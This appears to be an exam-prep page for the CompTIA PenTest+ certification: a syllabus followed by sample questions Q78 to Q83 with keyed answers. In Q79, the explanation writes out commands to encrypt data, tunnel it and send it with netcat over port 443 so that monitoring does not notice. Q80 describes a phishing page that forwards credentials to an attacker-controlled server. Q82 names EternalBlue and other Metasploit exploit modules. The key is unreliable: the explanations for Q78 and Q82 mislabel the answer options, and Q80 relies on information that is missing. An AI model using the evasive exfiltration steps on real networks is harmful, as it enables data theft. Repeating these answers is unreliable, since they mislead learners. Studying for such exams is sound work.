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CompTIA PT0-003 Exam Syllabus Topics:

Topic
Details

Topic 1

Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.

Topic 2

Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.

Topic 3

Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.

Topic 4

Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.

Topic 5

Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase’s responsibilities.

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CompTIA PenTest+ Exam Sample Questions (Q78-Q83):

NEW QUESTION # 78
A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?

A. Do nothing. Using passwords from breached data is unethical.
B. Contactthe client and inform them of the breach.
C. Add thepasswords to an appendix in the penetration test report.
D. Use thepasswords in a credential stuffing attack when the external penetration test begins.

Answer: B

Explanation:
Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach.
This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures. Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible, while doing nothing (option B) neglects the tester's duty to inform the client of potential threats. Using the passwords in a credential stuffing attack (option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.

NEW QUESTION # 79
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester's attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?

A. Apply Base64 to the data and send over a tunnel to TCP port 80.
B. Apply 3DES to the data and send over a tunnel UDP port 53.
C. Apply UTF-8 to the data and send over a tunnel to TCP port 25.
D. Apply AES-256 to the data and send over a tunnel to TCP port 443.

Answer: D

Explanation:
AES-256 (Advanced Encryption Standard with a 256-bit key) is a symmetric encryption algorithm widely used for securing data. Sending data over TCP port 443, which is typically used for HTTPS, helps to avoid detection by network monitoring systems as it blends with regular secure web traffic.
* Encrypting Data with AES-256:
* Use a secure key and initialization vector (IV) to encrypt the data using the AES-256 algorithm.
* Example encryption command using OpenSSL:
Step-by-Step Explanationopenssl enc -aes-256-cbc -salt -in plaintext.txt -out encrypted.bin -k secretkey
* Setting Up a Secure Tunnel:
* Use a tool like OpenSSH to create a secure tunnel over TCP port 443.
* Example command to set up a tunnel:
ssh -L 443:targetserver:443 user@intermediatehost
* Transferring Data Over the Tunnel:
* Use a tool like Netcat or SCP to transfer the encrypted data through the tunnel.
* Example Netcat command to send data:
cat encrypted.bin | nc targetserver 443
* Benefits of Using AES-256 and Port 443:
* Security: AES-256 provides strong encryption, making it difficult for attackers to decrypt the data without the key.
* Stealth: Sending data over port 443 helps avoid detection by security monitoring systems, as it appears as regular HTTPS traffic.
* Real-World Example:
* During a penetration test, the tester needs to exfiltrate sensitive data without triggering alerts. By encrypting the data with AES-256 and sending it over a tunnel to TCP port 443, the data exfiltration blends in with normal secure web traffic.
* References from Pentesting Literature:
* Various penetration testing guides and HTB write-ups emphasize the importance of using strong encryption like AES-256 for secure data transfer.
* Techniques for creating secure tunnels and exfiltrating data covertly are often discussed in advanced pentesting resources.

NEW QUESTION # 80
For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to
https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

Which of the following lines of code should the security engineer add to make the attack successful?

A. geturlparameter ('username')
B. redirectUrl = 'https://example.com'
C. window.location.= 'https://evilcorp.com'
D. crossDomain: true

Answer: D

NEW QUESTION # 81
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources.
Which of the following attack types is MOST concerning to the company?

A. Data flooding
B. Session riding
C. Cybersquatting
D. Side channel

Answer: D

Explanation:
https://www.techtarget.com/searchsecurity/definition/side-channel-attack#:~:text=Side%2Dchannel%20attacks

NEW QUESTION # 82
A penetration tester completes a scan and sees the following output on a host:
bash
Copy code
Nmap scan report for victim (10.10.10.10)
Host is up (0.0001s latency)
PORT STATE SERVICE
161/udp open|filtered snmp
445/tcp open microsoft-ds
3389/tcp open microsoft-ds
Running Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7_sp0
The tester wants to obtain shell access. Which of the following related exploits should the tester try first?

A. exploit/windows/smb/ms17_010_eternalblue
B. auxiliary/scanner/snmp/snmp_login
C. exploit/windows/smb/psexec
D. exploit/windows/smb/ms08_067_netapi

Answer: A

Explanation:
The ms17_010_eternalblue exploit is the most appropriate choice based on the scenario.
Why MS17-010 EternalBlue?
EternalBlue is a critical vulnerability in SMBv1 (port 445) affecting older versions of Windows, including Windows 7.
The exploit can be used to execute arbitrary code remotely, providing shell access to the target system.
Other Options:
A (psexec): This exploit is a post-exploitation tool that requires valid credentials to execute commands remotely.
B (ms08_067_netapi): A vulnerability targeting older Windows systems (e.g., Windows XP). It is unlikely to work on Windows 7.
D (snmp_login): This is an auxiliary module for enumerating SNMP, not gaining shell access.
CompTIA Pentest+ Reference:
Domain 2.0 (Information Gathering and Vulnerability Identification)
Domain 3.0 (Attacks and Exploits)

NEW QUESTION # 83
......

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